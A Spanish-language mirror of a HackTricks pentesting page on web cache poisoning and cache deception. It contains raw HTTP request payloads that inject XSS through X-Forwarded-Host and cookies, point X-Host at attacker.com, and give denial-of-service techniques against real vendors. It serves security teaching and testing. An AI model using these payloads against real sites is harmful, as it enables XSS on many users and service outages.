mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 16:39:32 +00:00
188 lines
14 KiB
Markdown
188 lines
14 KiB
Markdown
# Envenenamiento y Engaño de Caché
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
 (1) (2).png>)
|
|
|
|
\
|
|
Usa [**Trickest**](https://trickest.io/) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas de la comunidad más avanzadas del mundo.\
|
|
Obtén acceso hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## La diferencia
|
|
|
|
> **¿Cuál es la diferencia entre el envenenamiento y el engaño de caché web?**
|
|
>
|
|
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
|
> * En el **engaño de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
|
|
|
## Envenenamiento de Caché
|
|
|
|
El objetivo del envenenamiento de caché es hacer que los **clientes carguen recursos inesperados parcialmente o controlados por el atacante**.\
|
|
La respuesta envenenada solo se servirá a los usuarios que visiten la página afectada mientras la caché esté envenenada. Como resultado, el impacto puede variar desde inexistente hasta masivo dependiendo de si la página es popular o no.
|
|
|
|
Para realizar un ataque de envenenamiento de caché, primero debes **identificar las entradas sin clave** (parámetros que no necesitan aparecer en la solicitud en caché pero que cambian la página devuelta), ver **cómo abusar** de este parámetro y **obtener la respuesta en caché**.
|
|
|
|
### Descubrimiento: Verificar encabezados HTTP
|
|
|
|
Por lo general, cuando una respuesta se **almacena en la caché**, habrá un **encabezado que lo indique**, puedes verificar a qué encabezados debes prestar atención en esta publicación: [**Encabezados de caché HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
|
|
|
### Descubrimiento: Caché de código 400
|
|
|
|
Si piensas que la respuesta se está almacenando en una caché, podrías intentar **enviar solicitudes con un encabezado incorrecto**, que debería ser respondido con un **código de estado 400**. Luego intenta acceder a la solicitud normalmente y si la **respuesta es un código de estado 400**, sabes que es vulnerable (e incluso podrías realizar un DoS).\
|
|
Un encabezado mal configurado podría ser solo `\:` como encabezado.\
|
|
_Ten en cuenta que a veces estos tipos de códigos de estado no se almacenan en caché, por lo que esta prueba será inútil._
|
|
|
|
### Descubrimiento: Identificar y evaluar entradas sin clave
|
|
|
|
Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **fuerza bruta de parámetros y encabezados** que pueden estar **cambiando la respuesta de la página**. Por ejemplo, una página puede estar usando el encabezado `X-Forwarded-For` para indicar al cliente que cargue el script desde allí:
|
|
```markup
|
|
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
|
```
|
|
### Obtener una respuesta dañina del servidor back-end
|
|
|
|
Con el parámetro/cabecera identificado, comprueba cómo se está **sanitizando** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ella de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)
|
|
|
|
### Obtener la respuesta en caché
|
|
|
|
Una vez que hayas **identificado** la **página** que se puede abusar, qué **parámetro/cabecera** usar y **cómo** abusar de ella, necesitas obtener la página en caché. Dependiendo del recurso que estés intentando obtener en caché, esto podría llevar algún tiempo, es posible que necesites intentarlo durante varios segundos.\
|
|
La cabecera **`X-Cache`** en la respuesta podría ser muy útil, ya que puede tener el valor **`miss`** cuando la solicitud no se ha almacenado en caché y el valor **`hit`** cuando está en caché.\
|
|
La cabecera **`Cache-Control`** también es interesante para saber si un recurso se está almacenando en caché y cuándo se almacenará en caché de nuevo: `Cache-Control: public, max-age=1800`\
|
|
Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** aunque normalmente no lo sean. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico.\
|
|
Otra cabecera relacionada con la caché es **`Age`**. Define los tiempos en segundos que el objeto ha estado en la caché del proxy.
|
|
|
|
Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que uses** porque algunas de ellas podrían ser **utilizadas de manera inesperada** como **clave** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un envenenamiento de caché con **diferentes navegadores** para comprobar si funciona.
|
|
|
|
## Ejemplos de explotación
|
|
|
|
### Ejemplo más fácil
|
|
|
|
Una cabecera como `X-Forwarded-For` se refleja en la respuesta sin sanitizar.\
|
|
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean víctimas de XSS:
|
|
```markup
|
|
GET /en?region=uk HTTP/1.1
|
|
Host: innocent-website.com
|
|
X-Forwarded-Host: a."><script>alert(1)</script>"
|
|
```
|
|
_Nota que esto envenenará una solicitud a `/en?region=uk` y no a `/en`_
|
|
|
|
### Usando envenenamiento de caché web para explotar vulnerabilidades de manejo de cookies
|
|
|
|
Las cookies también pueden reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que cargan la respuesta de caché maliciosa.
|
|
```markup
|
|
GET / HTTP/1.1
|
|
Host: vulnerable.com
|
|
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
|
```
|
|
Ten en cuenta que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares limpiarán la caché.
|
|
|
|
### Uso de múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
|
|
|
A veces necesitarás **explotar varios inputs sin clave** para poder abusar de una caché. Por ejemplo, puedes encontrar una **redirección abierta** si estableces `X-Forwarded-Host` en un dominio controlado por ti y `X-Forwarded-Scheme` en `http`. **Si** el **servidor** está **redirigiendo** todas las solicitudes **HTTP** a **HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para la redirección. Puedes controlar a dónde apunta la página mediante la redirección.
|
|
```markup
|
|
GET /resources/js/tracking.js HTTP/1.1
|
|
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
|
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
|
X-Forwarded-Scheme: http
|
|
```
|
|
### Explotando con el encabezado `Vary` limitado
|
|
|
|
Si descubres que el encabezado **`X-Host`** se está utilizando como **nombre de dominio para cargar un recurso JS** pero el encabezado **`Vary`** en la respuesta indica **`User-Agent`**, entonces necesitas encontrar una forma de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:
|
|
```markup
|
|
GET / HTTP/1.1
|
|
Host: vulnerbale.net
|
|
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
|
X-Host: attacker.com
|
|
```
|
|
### Explotando el Envenenamiento de Caché HTTP mediante el abuso de HTTP Request Smuggling
|
|
|
|
Aprende aquí cómo realizar ataques de [Envenenamiento de Caché mediante el abuso de HTTP Request Smuggling](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
|
|
|
### Pruebas automatizadas para el Envenenamiento de Caché Web
|
|
|
|
Se puede utilizar el [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) para probar automáticamente el envenenamiento de caché web. Admite muchas técnicas diferentes y es altamente personalizable.
|
|
|
|
Ejemplo de uso: `wcvs -u example.com`
|
|
|
|
 (1) (2).png>)
|
|
|
|
\
|
|
Usa [**Trickest**](https://trickest.io/) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
|
Obtén acceso hoy mismo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## Ejemplos Vulnerables
|
|
|
|
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
|
|
|
ATS reenviaba el fragmento dentro de la URL sin eliminarlo y generaba la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Por lo tanto, la solicitud `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y la clave de caché no tenía la carga útil dentro de ella, solo el host, la ruta y la consulta.
|
|
|
|
### GitHub CP-DoS
|
|
|
|
El envío de un valor incorrecto en el encabezado de tipo de contenido provocó una respuesta en caché 405. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.
|
|
|
|
### GitLab + GCP CP-DoS
|
|
|
|
GitLab utiliza los buckets de GCP para almacenar contenido estático. Los **Buckets de GCP** admiten el **encabezado `x-http-method-override`**. Por lo tanto, era posible enviar el encabezado `x-http-method-override: HEAD` y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría admitir el método `PURGE`.
|
|
|
|
### Rack Middleware (Ruby on rails)
|
|
|
|
La aplicación Ruby on Rails a menudo se implementa junto con el middleware Rack. El código de Rack a continuación toma el valor del **valor `x-forwarded-scheme` y lo usa como el esquema de la solicitud**.
|
|
|
|
 (2).png>)
|
|
|
|
El envío del encabezado `x-forwarded-scheme: http` provocaría una redirección 301 a la misma ubicación, lo que causaría una DoS en ese recurso como en este ejemplo:
|
|
|
|
.png>)
|
|
|
|
La aplicación también podría admitir el encabezado `X-forwarded-host` y redirigir al usuario a ese host, lo que permitiría cargar archivos JavaScript desde el servidor del atacante:
|
|
|
|
 (2).png>)
|
|
|
|
### 403 y Buckets de almacenamiento
|
|
|
|
Anteriormente, **Cloudflare** solía **almacenar en caché las respuestas 403**, por lo tanto, enviar **encabezados de autorización incorrectos** tratando de acceder a **S3** o **Azure Storage Blobs** expuestos devolverá un 403 que se almacenará en caché. Cloudflare ya no almacena en caché las respuestas 403, pero esto podría funcionar con otros proxies.
|
|
|
|
.png>)
|
|
|
|
### Inyectando parámetros clave
|
|
|
|
Con bastante frecuencia, las cachés se configuran para **incluir solo parámetros GET específicos en la clave de caché**.
|
|
|
|
Por ejemplo, Fastly usando Varnish **almacenaba en caché el parámetro `size`** en la solicitud, pero si enviabas **también** el parámetro **`siz%65`** con un valor incorrecto, la **clave de caché** se construía con el **parámetro de tamaño bien escrito**, pero el **backend** usaba el **valor dentro del parámetro codificado en URL**.
|
|
|
|
.png>)
|
|
|
|
Codificar en URL el segundo parámetro `size` hizo que la caché lo ignorara, pero el backend lo usó. Darle al parámetro un valor de 0 daría como resultado una solicitud incorrecta 400 que se puede almacenar en caché.
|
|
|
|
### Reglas de Agente de Usuario
|
|
|
|
Debido a la gran cantidad de tráfico que generan herramientas como FFUF o Nuclei, algunos desarrolladores decidieron bloquear las solicitudes que coinciden con sus agentes de usuario. Irónicamente, estos ajustes pueden introducir oportunidades no deseadas de envenenamiento de caché y DoS.
|
|
|
|
 (2).png>)
|
|
|
|
Encontré que esto funcionó en varios objetivos, con agentes de usuario de diferentes herramientas o escáneres.
|
|
|
|
### Campos de encabezado ilegales
|
|
|
|
El formato del nombre del encabezado se define en [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) de la siguiente manera:
|
|
|
|
 (2).png>)
|
|
|
|
En teoría, si un nombre de encabezado contiene caracteres que no son los enumerados en **tchar**, debería ser rechazado con una solicitud incorrecta 400. En la práctica, sin embargo, los servidores no siempre respetan el RFC. La forma más fácil de explotar esta sutileza era apuntando a Akamai, que no rechaza los encabezados no válidos, sino que los reenvía y almacena cualquier error 400 siempre que el encabezado de control de caché no esté presente.
|
|
|
|
.png>)
|
|
|
|
Enviar un encabezado que contenga un carácter ilegal, `\`, provocaría un error de solicitud incorrecta 400 que se puede almacenar
|